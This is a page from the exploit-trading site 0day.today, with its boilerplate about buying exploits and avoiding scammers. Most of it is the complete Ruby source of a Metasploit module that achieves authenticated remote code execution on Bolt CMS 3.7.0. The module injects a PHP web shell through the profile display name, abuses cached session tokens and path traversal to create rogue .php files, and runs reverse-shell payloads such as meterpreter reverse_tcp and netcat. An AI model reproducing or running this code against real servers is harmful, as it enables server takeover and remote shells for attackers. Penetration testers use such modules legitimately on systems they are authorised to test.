0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Bolt CMS 3.7.0 Authenticated Remote Code Execution Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution', 'Description' => %q{ This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.* in order to execute arbitrary commands as the user running Bolt. This module first takes advantage of a vulnerability that allows an authenticated user to change the username in /bolt/profile to a PHP `system($_GET[""])` variable. Next, the module obtains a list of tokens from `/async/browse/cache/.sessions` and uses these to create files with the blacklisted `.php` extention via HTTP POST requests to `/async/folder/rename`. For each created file, the module checks the HTTP response for evidence that the file can be used to execute arbitrary commands via the created PHP $_GET variable. If the response is negative, the file is deleted, otherwise the payload is executed via an HTTP get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>` Valid credentials for a Bolt CMS user are required. This module has been successfully tested against Bolt CMS 3.7.0 running on CentOS 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sivanesh Ashok', # Discovery 'r3m0t3nu11', # PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['EDB', '48296'], ['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time 'DefaultOptions' => { 'RPORT' => 8000, 'WfsDelay' => 5 }, 'DefaultTarget' => 2, 'Notes' => { 'NOCVE' => '0day', 'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', false]), OptString.new('PASSWORD', [true, 'Password to authenticate with', false]), OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files']) ] end def check # obtain token and cookie required for login res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') return CheckCode::Unknown('Connection failed') unless res unless res.code == 200 && res.body.include?('Sign in to Bolt') return CheckCode::Safe('Target is not a Bolt CMS application.') end html = res.get_html_document token = html.at('input[@id="user_login__token"]')['value'] cookie = res.get_cookies # perform login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'login'), 'cookie' => cookie, 'vars_post' => { 'user_login[username]' => datastore['USERNAME'], 'user_login[password]' => datastore['PASSWORD'], 'user_login[login]' => '', 'user_login[_token]' => token } }) return CheckCode::Unknown('Connection failed') unless res unless res.code == 302 && res.body.include?('Redirecting to /bolt') return CheckCode::Unknown('Failed to authenticate to the server.') end @cookie = res.get_cookies return unless @cookie # visit profile page to obtain user_profile token and user email res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie }) return CheckCode::Unknown('Connection failed') unless res unless res.code == 200 && res.body.include?('<title>Profile') return CheckCode::Unknown('Failed to authenticate to the server.') end html = res.get_html_document @email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile unless @email # create fake email if this value is not found @email = Rex::Text.rand_text_alpha_lower(5..8) @email << "@#{@email}." @email << Rex::Text.rand_text_alpha_lower(2..3) print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.") end @profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below) if !@profile_token || @profile_token.to_s.empty? return CheckCode::Unknown('Authentication failure.') end # change user profile to a php $_GET variable @php_var_name = Rex::Text.rand_text_alpha_lower(4..6) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie, 'vars_post' => { 'user_profile[password][first]' => datastore['PASSWORD'], 'user_profile[password][second]' => datastore['PASSWORD'], 'user_profile[email]' => @email, 'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>", 'user_profile[save]' => '', 'user_profile[_token]' => @profile_token } }) return CheckCode::Unknown('Connection failed') unless res # visit profile page again to verify the changes res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie }) return CheckCode::Unknown('Connection failed') unless res unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'") return CheckCode::Unknown('Authentication failure.') end CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super csrf unless @csrf_token && !@csrf_token.empty? fail_with Failure::NoAccess, 'Failed to obtain CSRF token' end vprint_status("Found CSRF token: #{@csrf_token}") file_tokens = obtain_cache_tokens unless file_tokens && !file_tokens.empty? fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.' end print_status("Found #{file_tokens.length} potential token(s) for creating .php files.") token_results = try_tokens(file_tokens) unless token_results && !token_results.empty? fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.' end valid_token = token_results[0] @rogue_file = token_results[1] print_good("Used token #{valid_token} to create #{@rogue_file}.") if target.arch.first == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager end end def csrf # visit /bolt/overview/showcases to get csrf token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'), 'cookie' => @cookie }) fail_with Failure::Unreachable, 'Connection failed' unless res unless res.code == 200 && res.body.include?('Showcases') fail_with Failure::NoAccess, 'Failed to obtain CSRF token' end html = res.get_html_document @csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token'] end def obtain_cache_tokens # obtain tokens for creating rogue .php files from cache res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'), 'cookie' => @cookie }) fail_with Failure::Unreachable, 'Connection failed' unless res unless res.code == 200 && res.body.include?('entry disabled') fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens' end html = res.get_html_document entries = html.search('tr') tokens = [] entries.each do |e| token = e.at('span[@class="entry disabled"]').text.strip size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0] tokens.append(token) if size.to_i >= 2000 end tokens end def try_tokens(file_tokens) # create .php files and check if any of them can be used for RCE via the username $_GET variable file_tokens.each do |token| file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present file_name = Rex::Text.rand_text_alpha_lower(8..12) file_name << '.php' # use token to create rogue .php file by 'renaming' a file from cache res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'), 'cookie' => @cookie, 'vars_post' => { 'namespace' => 'root', 'parent' => '/app/cache/.sessions', 'oldname' => token, 'newname' => "#{file_path}/#{file_name}", 'token' => @csrf_token } }) fail_with Failure::Unreachable, 'Connection failed' unless res next unless res.code == 200 && res.body.include?(file_name) # check if .php file contains an empty `displayname` value. If so, cmd execution should work. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'files', file_name), 'cookie' => @cookie }) fail_with Failure::Unreachable, 'Connection failed' unless res # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/) delete_file(file_name) next end return token, file_name end nil end def execute_command(cmd, _opts = {}) if target.arch.first == ARCH_CMD print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"") end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'files', @rogue_file), 'cookie' => @cookie, 'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout }, 3.5) # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/) print_warning('No response, may have executed a blocking payload!') return end print_good('Payload executed!') end def cleanup super # delete rogue .php file used for execution (if present) delete_file(@rogue_file) if @rogue_file return unless @profile_token # change user profile back to original res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie, 'vars_post' => { 'user_profile[password][first]' => datastore['PASSWORD'], 'user_profile[password][second]' => datastore['PASSWORD'], 'user_profile[email]' => @email, 'user_profile[displayname]' => datastore['USERNAME'].to_s, 'user_profile[save]' => '', 'user_profile[_token]' => @profile_token } }) unless res print_warning('Failed to revert user profile back to original state.') return end # visit profile page again to verify the changes res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie }) unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s) print_warning('Failed to revert user profile back to original state.') end print_good('Reverted user profile back to original state.') end def delete_file(file_name) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'), 'cookie' => @cookie, 'vars_post' => { 'namespace' => 'files', 'filename' => file_name, 'token' => @csrf_token } }) unless res && res.code == 200 && res.body.include?(file_name) print_warning("Failed to delete file #{file_name}. Manual cleanup required.") end print_good("Deleted file #{file_name}.") end end # 0day.today [2024-12-24] #